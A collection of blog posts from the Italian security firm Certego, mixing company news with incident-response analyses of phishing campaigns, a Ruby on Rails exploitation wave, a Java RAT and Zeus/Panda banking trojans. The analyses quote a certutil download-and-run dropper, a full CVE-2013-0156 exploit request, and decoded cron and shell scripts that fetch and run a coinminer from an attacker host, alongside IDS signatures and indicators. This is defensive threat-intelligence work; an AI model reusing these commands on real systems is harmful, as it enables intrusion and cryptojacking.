È con grande piacere che vi comunichiamo che Certego ha finalmente ottenuto dall'ente certificatore TÜV SÜD, uno dei più seri e rigorosi, la certificazione UNI CEI EN ISO/IEC 27001:2017, la più importante delle certificazioni sul sistema di gestione per la sicurezza delle informazioni.

Lo standard ISO/IEC 27001 è l'unica norma internazionale soggetta a verifica e certificabile che definisce i requisiti per un SGSI (Sistema di Gestione della Sicurezza delle Informazioni) ed è progettata per garantire la selezione di controlli di sicurezza adeguati e proporzionati. In questo modo è possibile proteggere le informazioni e dare fiducia agli stakeholder, in particolare ai propri clienti.

Grazie al nuovo Sistema di Gestione della Sicurezza delle Informazioni ed all’applicazione dei nostri modelli di Gestione del Rischio, i servizi di Cybersecurity erogati dalla piattaforma Certego PanOptikon sono protetti da processi e controlli di sicurezza che ne garantiscono la riservatezza, l'integrità e la disponibilità.   

L’ottenimento della certificazione ISO/IEC 27001 da parte del team di Incident Response si inserisce in un percorso di qualifiche e riconoscimenti internazionali che rendono Certego una delle realtà aziendali italiane più competenti ed esperte in materia di Cyber Security e Cyber Threat Intelligence.

Hi everyone, here’s Matteo Lodi, member of the Incident Response Team.

Today, we want to talk about a new threat we have just detected while analyzing the alerts generated by our platform.

Everthing started from the analysis of the following ET Signature ET TROJAN Windows executable base64 encoded.

At the first glance, it seemed that there were no executables downloaded.

That was quite strange. A deeper analysis showed that many hosts belonging to one of our customers downloaded a zip file from different domains but the same IP.

Here we are! We could guess that a new spam campaign has just started and many domains are being used to deliver a malware.

So, we started to analyze “Nuovo documento” to understand what kind of threat it is. Once uncompressed, we found inside a batch file called “Nuovo documento 2018.bat”.

The first two lines are the following:

@echo off
start http[:]//

Oh, let’s see what it is:

A poorly trained eye could have just said to himself: “Well that’s just an image, this batch is harmless”

But it wasn’t. In fact, the batch file was other 200 empty lines long and, at the end of it, there were the following statements:

certutil -urlcache -split -f http[:]// %TEMP%\tritype.txt > NUL
certutil -decode %TEMP%\tritype.txt %TEMP%\unslss.exe > NUL
start %TEMP%\unslss.exe

So we found that it’s a downloader. It tries to get a fake php file that, indeed, it’s the base64 encoded executable reported by our platform.

We also noticed the CnC server has implemented a domain whitelist and it allows to download the malware only by the IPs it sent the phishing campaign. If someone tries to get the zip file connecting from other IPs, the site would return a xml empty page.

First VirusTotal analysis wasn’t really satisfying because there was no indication about the malware classification, enhancing our hypothesis about a new spreading threat:

Then, we sent the malware to our threat intelligence platform for further analysis.

External and internal feed couldn't identify with ease what kind of malware it is.

In fact, as already said, the threat is new: manual or automatic analysis didn't get a perfect indication. However, this kind of anti-VM and anti-debugging abilities could lead us to guess that it's an infostealer, probably a Ursnif variant.

Meanwhile, we alerted the customer: to contain the threat, we worked together to find the mail responsible of the infection. The mail was the following one:


Subject: fattura in sospeso

Da un controllo effettuato abbiamo visto che ha dei conti non pagate.
Se i conti non saranno saldati  entro 7 giorni, saremo costretti  a interrompere  la nostra collaborazione.
Se al contrario già effettuato il pagamento, li chiediamo di inoltrare la conferma.
E possibile visualizzare più dettagliato riguardo il saldo cliccando sul seguente link: documento

Cordiali Saluti

So, as already seen in older phishing campaigns, users have to pay attention to emails with “pending invoice” or similar as subject and they haven’t to get tricked to click to the link provided after panicking about a fake unpaid bill.


We found a new spam campaign delivering an evasive infostealer, targeting at least Italian users




www.synchronr[.]com/jcsuyg?wkblw=142954 (Download)
www.hollywoodisruption[.]com/evhp?pdf=37857 (Download)
cloudblueprintprogram[.]com/images4.php (Malware)


e1e4e1c8288a62c7f4acb9ba4b5d2a57 malware.exe (malware)
c7bfa2bb1a027d6179eaa5d48465fad3 images4.php (malware base64 encoded)
a09916eb46ff94a89f09a072100eb3eb Nuovo documento 2018.bat (dropper)

Our threat intelligence platform has been logging a huge spike in ruby http exploiting since yesterday (10 January) at 23:00.

The exploit is trying to leverege a fairly old CVE (CVE-2013-0156) that allows remote code execution. The following public Emerging Threat signature cover the exploit:

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET CURRENT_EVENTS Possible CVE-2013-0156 Ruby On Rails XML POST to Disallowed Type YAML"; flow:established,to_server; content:"POST"; http_method; content:"|0d 0a|Content-Type|3a 20|"; pcre:"/^(?:application\/(?:x-)?|text\/)xml/R"; content:" type="; http_client_body; nocase; fast_pattern; content:"yaml"; distance:0; nocase; http_client_body; pcre:"/<[^>]*\stype\s*=\s*([\x22\x27])yaml\1/Pi"; reference:url,!topic/rubyonrails-security/61bkgvnSGTQ; classtype:web-application-attack; sid:2016175; rev:3; metadata:created_at 2013_01_09, updated_at 2013_01_09;)

The attacker is sending the following data through a POST request:

POST / HTTP/1.1..Host: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)..X-HTTP-Method-Override:get..Content-Type: application/xml..Content-Length: 604....<xAdwt type='yaml'>--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection.'LtUgJyxM; eval(%[c3lzdGVtKCdjcm9udGFiIC1yOyB3Z2V0IC1WJiZlY2hvICIxICogKiAqICogd2dldCAtcSAtTyAtIGh0dHA6Ly9pbnRlcm5ldHJlc2VhcmNoLmlzL3JvYm90cy50eHQgMj4vZGV2L251bGx8YmFzaCA+L2Rldi9udWxsIDI+JjEifGNyb250YWIgLTt3Z2V0IC1WfHxjdXJsIC1WfGVjaG8gIjEgKiAqICogKiBjdXJsIC1zIGh0dHA6Ly9pbnRlcm5ldHJlc2VhcmNoLmlzL3JvYm90cy50eHQgMj4vZGV2L251bGx8YmFzaCA+L2Rldi9udWxsIDI+JjEifGNyb250YWIgLScpCg==].unpack(%[m0])[0]);' : !ruby/object:ActionController::Routing::Route. segments: []. requirements:. :MsLmhhug:. :FR: :MKqyF.</xAdwt>

The attacker sends a base64 encoded payload inside a POST request in the hope that the ruby interpreter configured on the server will execute it. By unpacking the payload we obtain the following code:

system('crontab -r; wget -V&&echo "1 * * * * wget -q -O - <a href=""></a> 2>/dev/null|bash >/dev/null 2>&1"|crontab -;wget -V||curl -V|echo "1 * * * * curl -s <a href=""></a> 2>/dev/null|bash >/dev/null 2>&1"|crontab -')

This is a very simple bash script that adds a new entry in the crontab of the host. The cronjob is executed once per hour (notice the number 1: it means every first minute of every hour) and it downloads the file robots.txt via wget. The file is piped through bash, so most probably it’s a text file containing a shell script. By manually downloading it we can confirm our hypothesis. This is the file content:

touch .test||cd /dev/shm||cd /tmp 2>/dev/null
>$MAIL&&chmod 000 $MAIL
rm .test 2>/dev/null
rm sshd* 2>/dev/null
pkill -9 xmrig 2>/dev/null
pid=$(pgrep -f -o 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8')
test $pid && pgrep -f 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8' | grep -vw $pid | xargs -r kill -9
pgrep -f tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8 && exit 0
wget --no-check-certificate "$x86_64" -O .sshd||curl -k "$x86_64" -o .sshd
wget --no-check-certificate "$i686" -O .sshd.i686||curl -k "$i686" -o .sshd.i686
chmod +x .sshd .sshd.i686
pgrep -f hashvault||./.sshd -o -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz989EsT6h -p x -k -B||wget <a href=""></a> -O /dev/null --user-agent "$(uname -p)"||curl <a href=""></a> --user-agent "$(uname -p)"
pgrep -f hashvault||./.sshd.i686 -o -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz989EsT6h -p x -k -B||wget <a href=""></a> -O /dev/null --user-agent "$(uname -a)"||curl <a href=""></a> --user-agent "$(uname -a)"<br /><br />

The script checks if there is a a coinminer already in execution and, if not, it downloads the coinminer from http://internetresearch[.]is/sshd (or sshd.i686), launching it afterwards. We found the coinminer used is the linux version of XMRIG Cpu Miner http://internetresearch[.]is/sshd

IOC 80 GET <a href="">http://internetresearch[.]is/robots.txt</a> (Cronjob Bash script) 80 GET <a href="">http://internetresearch[.]is/sshd</a> (x86-64 XMRIG coinminer download) 80 GET <a href="">http://internetresearch[.]is/sshd</a> (i686 XMRIG coinminer download) 80 GET <a href="">http://internetresearch[.]is/sshd</a> (Sending system Info in User Agent) 
XMRIG Executable:
MD5:  761f5cfd0a3cddb48c73bc341a4d07a9
FileSize: 723080 bytes
VirusTotal: <a href=""></a><br />

Salve a tutti, scrive Matteo Lodi, membro dell'Incident Response Team.

Oggi vorrei parlare di una nuova minaccia che abbiamo rilevato casualmente durante l'analisi degli allarmi generati dalla nostra piattaforma.

Tutto cominicia dall'analisi di una piccola e solitaria firma ET di livello 2 chiamata "ET PRO POLICY DNS Query to .onion proxy Domain (onion . casa)".

All'inizio, l'unica evidenza che avevamo dall'analisi del traffico erano diverse richieste DNS seguite da 4 contatti via HTTPS al seguente strano dominio: vvrhhhnaijyj6s2m.onion[.]casa

Abbiamo scoperto che è un proxy usato allo scopo di accedere ai servizi nascosti all'interno della famosa rete TOR. Nel dettaglio, proseguendo nell'analisi, abbiamo trovato che il dominio citato ospita un sito che dichiara di vendere un malware noto come Qarallax.

Qarallax è un RAT (remote access tool) e infostealer. Questo malware è nato da un clone del noto software open-source chiamato LaZagne. Tuttora, l'artefatto fornisce ad un eventuale attaccante la possibilità di effettuare diverse azioni sulla macchina infetta, tra cui:

  • Catturare movimenti del mouse e click
  • Catturare l'input della tastiera
  • Controllare la webcam e registrare lo schermo
  • Ottenere tutte le credenziali presenti sul browser, nei messaggi di chat, negli eventuali database configurati sull'host e nei programmi di Email

Un gruppo chiamato Quaverse dichiara di essere il reparto R&D che ha sviluppato questa minaccia e che, costantemente, lavora allo scopo di evolvere e aggiornare il malware. Il loro obiettivo è di vendere l'agente come un RaaS (RAT as a Service).

Questo file è un'applicazione scritta in JAVA capace di eseguire sui sistemi operativi che hanno installato il JAVA Runtime Environment (JRE). Agisce silenziosamente in sottofondo, senza lasciare alcuna indicazione della sua presenza all'utente.

A questo punto dell'analisi, non avevamo la prova certa che l'host che contattava il dominio sospetto fosse infetto; tuttavia eravamo fortemente motivati a investigare ulteriormente allo scopo di capire se si trattasse di una minaccia reale.

Siamo andati alla ricerca di qualche fonte di intelligence sul web, con la speranza che qualcuno avesse trovato informazioni utili sul dominio citato. Inizialmente, abbiamo controllato su Google, Twitter e Reverse ma non abbiamo trovato niente. Poi, tramite VirusTotal, abbiamo trovato che il seguente URL era catalogato come malevolo: hxxps://vvrhhhnaijyj6s2m.onion[.]casa/storage/cryptOutput/0.92915600%201512026521.jar

Wow, solo 3 rilevazioni e nessun sample caricato su VT. Comunque, in quel momento, abbiamo avuto un'idea su cosa avessero fatto le connessioni SSL: scaricare un .jar contenente, con alta probabilità, il malware.

Nel frattempo, abbiamo contattato il cliente e, fortunatamente, l'host infetto era una macchina virtuale che è quindi stata ripristinata ad uno stato pulito senza problemi. Inoltre l'agente antivirus aveva rilevato e fermato l'esecuzione del malware.

A questo punto, le vere domande da porsi erano:

  • come si erano infettati?
  • l'attacco era opportunistico o mirato?

Il giorno successivo, all'interno della nostra spamtrap, abbiamo rilevato un artefatto chiamato "IMG6587JPG..jar", identificato come malevolo (8.2/10 score) dalla nostra sandbox. Il primo elemento dove abbiamo concentrato la nostra attenzione è stato il traffico che questa applicazione aveva generato verso il dominio sospetto.

Et voila! Probabilmente avevamo trovato il malware scaricato dal nostro cliente e, fortunatamente, era arrivato da una classica email di spam che ingannava l'utente allo scopo di fargli aprire una finta immagine che, in realtà, conteneva l'infostealer.

Subject: New order_IMG_6587 JPG-2017

Dear Good day, Am interested in your product i saw online with our new purchase, feed us with more of your samples.
kindly exermine the new order and tell us your paymwent terms Thanks in Anticipation.
IBRAHIM M.D Commercial Department SUMINISTROS INDUSTRIALES CHEMICAL SL Pol.ibrahim, 228000 Getafe Madrid Email :

Fatto interessante è stato che solo 4 antivirus lo avessero rilevato. Dopo solo 4 ore, qualche altro prodotto antimalware aveva iniziato ad identificare il software come malevolo (15).

Abbiamo comunicato le informazioni al nostro cliente che è riuscito ad identificare la mail che ha portato all'infezione e ha provveduto ad inviarcela. La variante di Qarallax era pressochè identica a quella che avevamo rilevato pochi minuti prima. L'unico elemento di differenza era il corpo della mail (diverso nella lingua, da inglese a italiano) e il nome del campione: PAGAMENTO.jar. Anche in questa occasione, la prima volta che abbiamo inviato il file a VT, solo pochi antivirus erano stati capaci di identificarlo.


Abbiamo rilevato nuove varianti del malware che, tuttavia, mantiene le stesse potenzialità. La differenza più rilevante è il proxy sfruttato allo scopo di contattare il server di comando e controllo: da a Ci teniamo a sottolineare come la minaccia stia evolvendo giorno per giorno: ogni nuovo campione che analizziamo risulta praticamente irrilevato da ogni genere di antivirus.


Abbiamo identificato una nuova campagna di spam che diffonde un RAT con la capacità di evadere il rilevamento della maggior parte dei software AV o delle firme IDS.




RAT samples (MD5):


Certego, la società del gruppo VEM sistemi specializzata nell’erogazione di servizi di sicurezza IT gestita e di contrasto al Cybercrime, è stata nuovamente citata nel rapporto Gartner “Competitive Landscape: Threat Intelligence Services, Worldwide, 2017” come esempio di Regional Player di servizi di Threat Intelligence (TI) per Industria e PA.

La maggior parte dei player del mercato della Threat Intelligence sono originari degli Stati Uniti, tuttavia stanno assumendo un ruolo sempre più centrale anche le aziende locali che beneficiano della domanda internazionale in crescita in questo settore.

“Siamo onorati dal fatto che Gartner, dopo aver nominato Certego nel Report 2015, abbia nuovamente citato la nostra azienda come Regional Player nel “Competitive Landscape: Threat Intelligence Services, Worldwide, 2017”, riteniamo che sia una conferma del nostro modello di protezione adattiva (Adaptive Cyber Defence)”, prosegue Grignaffini, “affianchiamo al concetto di prevenzione di stampo tradizionale quello di Rilevamento (Rapid Detection) e di Capacità di Risposta (Incident Response Coordination) , adattando continuamente le strategie di difesa dei nostri clienti in modo da ridurre significativamente gli effetti degli attacchi e migliorare costantemente l’efficacia dei sistemi di protezione (Continuous Vulnerability Assessment).”

Grazie all’estensione della propria rete di monitoraggio (più di 70.000 sistemi sotto protezione e la gestione di migliaia di incidenti di sicurezza all’anno), Certego rappresenta un punto di osservazione privilegiato sul cyber crime in Italia. “Possediamo infatti dati e statistiche nazionali che ci permettono di cogliere i trend in corso e di anticipare i pericoli più significativi per i nostri clienti,” precisa Grignaffini, “ stiamo osservando un continuo incremento della capacità di monetizzare gli attacchi da parte dei cyber criminali, che sono riusciti a raggiungere un vero e proprio “consolidamento” del proprio business, con una progressiva contaminazione della criminalità informatica da parte della criminalità organizzata tradizionale. Di conseguenza, negli ultimi tempi, i servizi di threat Intelligence sono diventati sempre più centrali nei business plan aziendali, anche se le aziende più piccole spesso faticano a comprendere la reale esposizione ai rischi del Cyber Crime.”

La versione integrale del report è disponibile all'indirizzo consultabile su abbonamento.

Gartner, Competitive Landscape: Threat Intelligence Services, Worldwide, 2017, 26 July 2017
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Da Aprile 2017 le piattaforme di threat intelligence di Certego hanno iniziato a seguire alcune particolari campagne di spam volte a diffondere trojan bancari su target italiani.

La particolarità di queste campagne è di utilizzare come download zone per i propri payload siti aventi sempre cedacriall come dominio di secondo livello e certificati gratuiti firmati dal progetto Let’s Encrypt.

Il malware: Zeus/Panda

Panda (o Zeus/Panda) è il nome con cui viene comunemente indicata una variante del malware bancario Zeus.

I malware appartenenti a questa famiglia sono solitamente utilizzati per compiere attacchi di tipo Man in the Browser, una volta infettato un host il malware prende il controllo dei browser installati registrando ogni dato immesso e/o alterando le sessioni di accesso ad alcuni siti.

Inoltre questa famiglia di malware agisce come una botnet: ogni macchina infetta è collegata ad una serie specifica di server di Comando e Controllo (CnC). Il malware periodicamente contatta il proprio server CnC, comunicandovi le informazioni raccolte e richiedendo nuove configurazioni su cosa monitorare.

Le campagne

04/04/2017 - Fattura Amministrazione

La prima diffusione registrata dai nostri sistemi risale al 4 Aprile di quest’anno, descritta in questo articolo su My Online Security. Le mail di phishing rilevate avevano i seguenti oggetti:

Invio fattura/invoice
fattura del 04\04\2017
Invio fattura/ordine
ordine 04.04.2017
fattura del 04.04.2017

Le mail in questione avevano contenuti simili al seguente:

Gentile Cliente,
al pagamento della fattura in allegato alla presente.
Confidando nel Vostro sollecito riscontro, inviamo i nostri distinti saluti.

Tutte le mail rilevate avevano i medesimi allegati, due documenti Word

pagina 1.doc    a7960e5a86d7aee713f3c0fcee6c96e4
pagina 2.doc    5c66df3788a08c83a97a1074006e09e8

Questi documenti effettuavano il download di una versione di Zeus/Panda dalla seguente risorsa:


La particolarità di questo download è di avvenire abusando un certificato gratuito fornito dall’organizzazione Let’s Encrypt.

23/05/2017 - Fattura Maggio e F24

La seconda diffusione, descritta in questo articolo di My Online Security, utilizza due temi differenti nella stessa giornata.

Fattura Maggio

Il primo tema riguardava una presunta fattura relativa al mese di Maggio, inviava mail con i seguenti oggetti:

fatt di maggio XXXXXX
richiesta fattura n. XXXXXX
fatt di maggio XXXXXX
Invio fattura XXXXXX
richiesta fattura n. XXXXXX

Nelle mail si usava poi un contenuto di questo tipo:

Le fatture n. XXXXXX del 23/05/2017 sono in formato WORD per essere visualizzate e stampate. 
Il presente invio SOSTITUISCE INTEGRALMENTE quello effettuato in modo tradizionale a mezzo servizio postale. E’ quindi necessario GENERARNE UNA STAMPA e procedere alla relativa archiviazione come da prassi a norma di legge. La stampa da parte sua dei documenti fa fede ai fini fiscali e contabili.Confidando nel Vostro sollecito riscontro, inviamo i nostri distinti saluti.

In questo caso l’allegato delle mail era il seguente documento Word:

fattura.05.doc    3fa667c19c7e6cfc41dedba1e282bbd3

In questo caso sembra sia stato fatto un errore di compilazione del downloader, poiché il file richiedeva la seguente URL errata


Tuttavia sembra che il dominio dovesse essere


Il secondo tema riguardava invece il modulo fiscale F24, con i seguenti oggetti

pagamento F24
copia del pagamento
pagamento del bonifico

Le mail questa volta sono molto brevi e sintetiche:

Buon pomeriggio,
Cordiali saluti

Questa volta l’allegato era il seguente documento Word

pagamento F24.doc    d9c79044972d8fe0e857a05b016772f1

Il quale tentava di scaricare sempre una versione di Zeus/Panda dalla seguente risorsa:


Anche in questo caso si utilizzava un certificato di Let’s Encrypt

15/06/17 - Fattura proforma

La terza diffusione, descritta in questo articolo di My Online Security, utilizzava i seguenti oggetti:

fattura corretta
Fattura n.06/17
fattura insoluta
fattura nuovo iban!

Ancora una volta le mail arrivano con un testo molto semplice e ben scritto:

ti invio in allegato la fattura proforma. Aggiornami quanto prima.

Questa volta cambia il formato del downloader, viene usato un file Excel:

Fattura n.XXXXX del 15-07-2017.xls    a05ecf6f1cd0ae183bc8514efb801a65

Che tentava di scaricare ancora una volta Zeus/Panda dalla seguente risorsa:


Lo stesso sito e lo stesso certificato visti nella campagna prima campagna di Aprile.

20/06/17 - Fattura BRT

La quarta diffusione finge di essere una richiesta di fatturazione di un corriere italiano. In questo caso viene utilizzato un unico formato per l’oggetto in tutte le mail:

Fattura BRT S.p.A. n. XXXXXX del 20/06/17

In questo caso vediamo una mail un po’ più elaborata, in modo da ricordare le vere mail della compagnia:

Gentile cliente,
come da sua richiesta le inviamo in allegato la fattura in oggetto in formato xls.
Sarà vostra cura la stampa su supporto cartaceo (risoluzione del 04/07/2001 n. 107).
Cordiali saluti
BRT S.p.A.
Il presente messaggio è diretto esclusivamente al suo destinatario e può; contenere informazioni di natura riservata. Chiunque lo abbia ricevuto per errore è pregato di darne notizia immediatamente al mittente e di distruggere la copia pervenutagli. Qualsiasi altro suo utilizzo è vietato.
This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original Any other use of the email by you is prohibited.

L’allegato è nuovamente un file Excel, in due versioni:

Fattura_XXXXXX.xls        7c09d53a7929c3bdb3dd418c6e3161f6
3D fattura XXXXXX.xls     4fdeccecfa0fe4532a569e2060be74d5

Il payload finale della prima versione risulta sempre essere una variante di Zeus/Panda, reperito dalla seguente risorsa:


Ancora una volta vediamo l’uso di un certificato Let’s Encrypt

Mentre il secondo downloader recupera lo stesso malware dalla seguente risorsa:


In questo caso però lo spammer non ha creato un certificato ad hoc per il dominio, che risponde con lo stesso certificato del primo sample:

21/06/2017 - Fattura CSA

La quinta campagna registrata utilizza nuovamente una dichiarazione generica di fattura

fatt n. XX del 21 giugno 2017
f-ra n. XX del 21 giugno 2017
fattura n. XX del 21 giugno 2017

Le mail sono estremamente semplici e brevi

Buongiorno, allego alla presente la fattura in oggetto cordiali saluti

Nuovamente viene utilizzato un downloader Excel

2017 - fatt. XX.xls        dbb09aa8e0131b3c246f893705318254
fatt. - 2017 n.XX.xls      b7995a448008cb5ed570c4ad96f97b56

Il payload finale risulta sempre essere una variante di Zeus/Panda, reperito dalla seguente risorsa:


Ancora una volta vediamo l’uso di un certificato Let’s Encrypt

22/06/2017 - Fattura del 22/06

Abbiamo inoltre rilevato una sesta campagna, che utilizza ancora la dicitura generica di fattura

Invio Fattura
Fattura del 22/06/17
Fattura XXX del 22/06/17
Fattura numero XXX del 22/06/2017

Il testo delle mail è ancora molto semplice e breve

Alleghiamo fattura in formato XLS.
Ufficio Amministrazione

Il vettore d’infezione è ancora un file Excel

3D FATT-06-2017-689.xls       8b1436cca913772d6ec53deb3e2aecba

Tuttavia questa volta il dominio sembra pseudo casuale, anche se la struttura dell’URL è molto simile alle precedenti


E viene ancora utilizzato un certificato Let’s Encrypt

Anche se potrebbe sembrare scollegata, questa campagna pare essere comunque legata alle precedenti, infatti il server è lo stesso della campagna del 21/06. Infatti richiedendo la medesima URI al dominio utilizzato in tale campagna otteniamo lo stesso file.

Prevention & Remediation

Le mail di spam e phishing, al momento, sono i maggiori mezzi di diffusione del malware, questo perché sfruttano uno dei fattori più difficili da controllare: l’elemento umano.

Un buon sistema di filtraggio della posta elettronica è un elemento importante per ridurre le probabilità che gli utenti ricevano email malevole. Tuttavia è bene sensibilizzare periodicamente gli utenti al fenomeno dello spam, ricordando quanto segue:

  • Non aprire mai né link né allegati ricevuti via mail da sconosciuti o non attesi
  • Non abilitare mai le macro su documenti giunti via mail
  • In caso di dubbi o sospetti sulla provenienza di una mail contattare l’ufficio IT o un responsabile per ulteriori controlli

In caso si abbia comunque aperto un allegato simile a quelli sopra citati la prima cosa da fare è contattare il proprio ufficio IT per fare analizzare la macchina con appositi strumenti; è altresì consigliato il cambio di tutte le credenziali utilizzate sull’host potenzialmente infetto. Se il pc è stato utilizzato per accedere a siti di natura finanziaria è bene anche verificare da una postazione sicura eventuali transazioni anomale.

Possibili conclusioni

L’utilizzo di domini cedacriall e l’uso della lingua italiana fanno presupporre che il bersaglio di queste campagne possano essere alcuni istituti bancari italiani.

D’altronde è possibile che il dominio sia utilizzato esclusivamente come convenzione dagli attaccanti per distinguere i download da parte dei target italiani.

Resta il fatto che siamo davanti ad un abuso abbastanza evidente del progetto Let’s Encrypt, nato per favorire la sicurezza delle connessioni e del web, che però al momento non è ancora riuscito a stabilire delle politiche di controllo efficaci per stabilire la natura dei richiedenti dei certificati.

Basta fare una breve ricerca sul web per scoprire che non si tratta di un singolo (e ripetuto) caso di abuso.

Per quanto il web abbia bisogno di sicurezza non si può trascurare il processo di verifica che ogni Certification Authority dovrebbe essere tenuta a compiere nei confronti di chi vi fa richiesta per un certificato digitale.


Firma IDS

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"CERTEGO TROJAN Zeus/Panda SSL download (cedacriall.TLD)"; flow:established,from_server; content:"|55 04 0a|"; content:"|0d|Let|27|s Encrypt"; distance:1; within:14; fast_pattern; content:"cedacriall"; nocase; classtype:trojan-activity;)




Indirizzi IP



“No More Ransom”, l’iniziativa mondiale che combatte il ransomware, fa il pieno di partner e lancia 15 nuovi tool di decrittazione

Modena, 4 aprile 2017 - Nove mesi dopo il lancio del progetto “No More Ransom” (NMR) un numero sempre crescente di forze dell'ordine e partner privati hanno aderito all'iniziativa, permettendo a molte vittime di ransomware di recuperare i propri file senza pagare il riscatto ai criminali.

Tra i sostenitori dell’iniziativa anche il CERT di Certego, la società del Gruppo VEM Sistemi specializzata nei servizi di Threat Intelligence e Incident Response, che ha messo a disposizione di NMR le proprie competenze in materia di gestione degli incidenti di Cyber Security.

La piattaforma è ora disponibile in 14 lingue e contiene 39 strumenti di decrittazione gratuiti. Dall’ultimo rapporto NMR del mese di dicembre, più di 10.000 vittime provenienti da tutto il mondo sono state in grado di decifrare i loro dispositivi grazie agli strumenti messi a disposizione gratuitamente sulla piattaforma.

L’iniziativa “No More Ransom (NMR)” è stata lanciata a luglio 2016 da Polizia Nazionale Olandese, Europol, Intel Security e Kapersky Lab, introducendo un nuovo modello di cooperazione tra il settore privato e forze dell’ordine per combattere insieme il cybercrime. Dal lancio, decine di partner provenienti da tutti i continenti hanno aderito a NMR. Questo dimostra che il ransomware è un problema mondiale che deve essere combattuto insieme. Le statistiche mostrano che la maggior parte dei visitatori della piattaforma provengono dalla Russia, Paesi Bassi, Stati Uniti, Italia e Germania.

Precedentemente disponibile in inglese, olandese, francese, italiano, portoghese e russo, la pagina web è stata ora tradotta anche in finlandese, tedesco, ebraico, giapponese, coreano, sloveno, spagnolo e ucraino. A breve saranno disponibili altre lingue al fine di assistere meglio le vittime del cybercrime in tutto il mondo.

Dall’ultima release, sono stati aggiunti 15 nuovi strumenti alla piattaforma, offrendo ulteriori possibilità di decrittazione alle vittime del ransomware:

  • AVAST: Alcatraz Decryptor, Bart Decryptor, Crypt888 Decryptor, HiddenTear Decryptor, Noobcrypt Decryptor and Cryptomix Decryptor
  • Bitdefender: Bart Decryptor
  • CERT Polska: Cryptomix/Cryptoshield decryptor
  • Check Point: Merry X-Mas Decryptor and BarRax Decryptor
  • Eleven Paths – Telefonica Cyber Security Unit: Popcorn Decryptor
  • Emsisoft: Crypton Decryptor and Damage Decryptor
  • Kaspersky Lab: Updates on Rakhni and Rannoh Decryptors

Nuovi partner del settore pubblico e privato

AVAST, CERT Polska e Eleven Paths – Telefonica Cyber Security Unit, si stanno unendo a No More Ransom, facendo salire a 7 il numero di associated partners.
30 nuovi partner hanno deciso di sostenere il progetto, portando il numero di partner sostenitori a 76.
Dal punto di vista delle forze dell'ordine si sono uniti Australia, Belgio, INTERPOL, Israele, Corea del Sud, Russia e Ucraina; altri sono Acronis International GmbH, Crowdstrike, Cyber Security Canada, DataGravity, Deloitte, eco - Associazione del settore Internet (eco eV), ENISA, Global Cyber Alliance (GCA), Japan Cyber Control Centre (JC3), KÜRT Data Recovery and Information Security Co., mnemonic AS, Neutrino S.r.l., Portugal Telecom, Secura Group Limited, SentinelOne, Verizon Enterprise Solutions.


Un forte sostegno deriva dalla comunità CERT, rappresentata da AfricaCERT, BA-CSIRT (CSIRT della città di Buenos Aires), Centro Nacional de Cibersegurança, Certego Incident Response Team, Cybersecurity Malesia e Japan Computer Emergency Response Team Coordination Center (JPCERTCC ).

L'arrivo di INTERPOL è avvenuta a seguito dell’Interpol-Europol Cybercrime Conference 2016, che esemplifica la natura pratica e focalizzata sull’utente di questo evento annuale congiunto.

Ulteriori informazioni e suggerimenti sono disponibili su

Nata nel 2013, Certego è una startup italiana specializzata in servizi gestiti di Cybersecurity e di Threat Intelligence, connotata da un approccio innovativo e da un team di analisti con esperienza pluriennale nell’analisi e nel contrasto del Cybercrime.

Attraverso la propria offerta di Managed Security Services, Certego adatta continuamente le strategie di difesa dei propri clienti in modo da ridurre significativamente gli effetti degli attacchi e migliorare costantemente l’efficacia dei sistemi di protezione. Grazie a questo approccio, chiamato Adaptive Cyber Defense, Certego è in grado di offrire livelli di sicurezza informatica non raggiungibili dagli approcci tradizionali, basati prevalentemente sull’utilizzo di tecnologie di prevenzione. Attraverso la piattaforma Certego PanOptikon, i clienti Certego sono in grado di intercettare rapidamente e contrastare efficacemente la presenza di Ransomware, Phishing, Advanced Persistent Threat e malware generico.

Con più di 70.000 sistemi sotto protezione e la gestione di migliaia di incidenti di sicurezza all’anno, Certego si occupa in modo innovativo ed efficace della sicurezza di grandi aziende e PMI in Italia e all’estero.

Certego, la società del gruppo VEM sistemi specializzata nell’erogazione di servizi di cyber security, spiega in che modo è possibile gestire e contrastare gli attacchi informatici.

Nata nel maggio 2013, con sede a Modena, Certego è una startup innovativa che fornisce servizi gestiti di sicurezza informatica. Il modello di business e la sua offerta sono piuttosto unici nel panorama italiano, risultato del lavoro di un team di analisti con esperienza pluriennale nel campo degli attacchi informatici e dell’analisi delle frodi online. Bernardino Grignaffini, CEO e fondatore, ha tracciato un quadro del panorama del Cyber Crime in Italia e ci ha spiegato le peculiarità dell’approccio Certego.

Com’è il panorama della Cyber Security in Italia e quali sono le minacce più pericolose?
Grazie all’estensione della propria rete di monitoraggio, Certego rappresenta un punto di osservazione privilegiato sul cyber crime in Italia. Possediamo infatti dati e statistiche nazionali che ci permettono di cogliere i trend in corso e di anticipare i pericoli più significativi per i nostri clienti. Nel corso del 2016, il team di Incident Response di Certego ha infatti svolto circa 90.000 attività di investigazione e gestito circa 1.100 attacchi informatici. Negli ultimi 12 mesi gli strumenti di attacco utilizzati più di frequente dai cyber criminali sono stati certamente i Ransomware, software malevoli che cifrano specifici file e documenti delle vittime per poi richiedere il pagamento di un riscatto. Questo è il fenomeno di Cyber Crime attualmente più diffuso in quanto è in grado di produrre un ottimo ritorno di investimenti per la criminalità informatica. Abbiamo inoltre osservato la ricorrenza di schemi di frodi, chiamate in genere CEO Fraud, che vengono svolte impersonando figure apicali di un’azienda e tentando di convincere i dipendenti a compiere particolari azioni, come ad esempio fornire credenziali di accesso o addirittura 